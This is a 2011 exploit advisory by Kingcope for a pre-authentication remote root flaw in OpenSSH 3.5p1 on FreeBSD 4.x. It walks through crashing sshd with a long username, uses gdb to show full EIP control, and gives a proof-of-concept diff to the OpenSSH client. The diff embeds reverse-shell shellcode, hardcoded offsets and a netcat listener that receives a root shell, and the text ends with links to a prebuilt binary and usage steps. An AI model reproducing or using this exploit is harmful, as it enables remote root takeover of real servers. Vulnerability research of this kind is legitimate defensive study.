FreeBSD OpenSSH 3.5p1 – Remote Command Execution
OpenSSH 3.5p1 Remote Root Exploit for FreeBSD Discovered and Exploited By Kingcope Year 2011 -- The last two days I have been investigating a vulnerability in OpenSSH affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run OpenSSH 3.5p1 in the default install. The sshd banner for 4.11-RELEASE is "SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930". A working Remote Exploit which spawns a root shell remotely and previous to authentication was developed. The bug can be triggered both through ssh version 1 and ssh version 2 using a modified ssh client. During the investigation of the vulnerability it was found that the bug resides in the source code file "auth2-pam-freebsd.c". http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c This file does not exist in FreeBSD releases greater than 5.2.1. The last commit is from 7 years ago. Specifically the bug follows a code path in the PAM Authentication Thread inside this source code, "pam_thread()". It could not be verified if the bug is inside this (third party, freebsd) OpenSSH code or in the FreeBSD pam library itself. Both the challenge response (ssh version 1) and keyboard interactive via pam (ssh version 2) authentications go through this code path. By supplying a long username to the daemon the sshd crashes. h4x# sysctl kern.sugid_coredump=1 kern.sugid_coredump: 0 -> 1 root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138 h4x# tail -1 /var/log/messages Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped) Looking into the coredump reveals: h4x# gdb -c /sshd.core GNU gdb 4.18 (FreeBSD) Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd". Core was generated by `sshd'. Program terminated with signal 11, Segmentation fault. #0 0x28092305 in ?? () (gdb) x/1i $eip 0x28092305: (bad) The sshd crahes at a place with illegal instructions. It looks like it depends on how the sshd is started. Starting the sshd from the console as root and running the ssh client with long username again reveals: h4x# killall -9 sshd h4x# /usr/sbin/sshd root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138 h4x# gdb -c /sshd.core GNU gdb 4.18 (FreeBSD) Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd". Core was generated by `sshd'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) x/10i $eip 0x41414141: Cannot access memory at address 0x41414141. As you can see in the above gdb output we can control EIP completely. If someone finds out on what this behaviour depends, especially why EIP can be controlled when starting sshd in the console and can not be easily controlled when being run from the boot sequence, please drop me an email at isowarez.isowarez.isowarez (at) googlemail.com Anyhow this procedure shows that the sshd can be exploited because the instruction pointer can be fully controlled. The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client. Using a reverse shellcode it will spawn a rootshell. Only one offset is needed, the position of the shellcode can be found the following way: h4x# gdb -c /sshd.core GNU gdb 4.18 (FreeBSD) Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd". Core was generated by `sshd'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) set $x=0x08071000 (gdb) while(*++$x!=0x90909090) >end (gdb) x/10b $x The printed address is the beginning of the shellcode nopsled. Attached is the Proof of Concept as a diff to OpenSSH-5.8p2. It roughly does the following: root@debian:~# ./ssh -1 192.168.32.138 root@debian:~# nc -v -l -p 10000 listening on [any] 10000 ... 192.168.32.138: inverse host lookup failed: Unknown host connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038 uname -a;id; FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005 root (at) perseus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 uid=0(root) gid=0(wheel) groups=0(wheel) -- root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c 667a668,717 > // Connect Back Shellcode > > #define IPADDR "\xc0\xa8\x20\x80" > #define PORT "\x27\x10" /* htons(10000) */ > > char sc[] = > "\x90\x90" > "\x90\x90" > "\x31\xc9" // xor ecx, ecx > "\xf7\xe1" // mul ecx > "\x51" // push ecx > "\x41" // inc ecx > "\x51" // push ecx > "\x41" // inc ecx > "\x51" // push ecx > "\x51" // push ecx > "\xb0\x61" // mov al, 97 > "\xcd\x80" // int 80h > "\x89\xc3" // mov ebx, eax > "\x68"IPADDR // push dword 0101017fh > "\x66\x68"PORT // push word 4135 > "\x66\x51" // push cx > "\x89\xe6" // mov esi, esp > "\xb2\x10" // mov dl, 16 > "\x52" // push edx > "\x56" // push esi > "\x50" // push eax > "\x50" // push eax > "\xb0\x62" // mov al, 98 > "\xcd\x80" // int 80h > "\x41" // inc ecx > "\xb0\x5a" // mov al, 90 > "\x49" // dec ecx > "\x51" // push ecx > "\x53" // push ebx > "\x53" // push ebx > "\xcd\x80" // int 80h > "\x41" // inc ecx > "\xe2\xf5" // loop -10 > "\x51" // push ecx > "\x68\x2f\x2f\x73\x68" // push dword 68732f2fh > "\x68\x2f\x62\x69\x6e" // push dword 6e69622fh > "\x89\xe3" // mov ebx, esp > "\x51" // push ecx > "\x54" // push esp > "\x53" // push ebx > "\x53" // push ebx > "\xb0\xc4\x34\xff" > "\xcd\x80"; // int 80h > 679a730,737 > char buffer[8096]; > > // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1 > memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24); > memset(buffer+24, '\x90', 5000); > memcpy(buffer+24+5000, sc, sizeof(sc)); > server_user=buffer; > 690a749 > Cheers, Kingcope A statically linked linux binary of the exploit can be found below attached is a diff to openssh-5.8p2. the statically linked binary can be downloaded from http://isowarez.de/ssh_0day Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17462.tar.gz (ssh_0day.tar.gz) run like ./ssh -1 -z <yourip> <target> setup a netcat, port 443 on yourip first |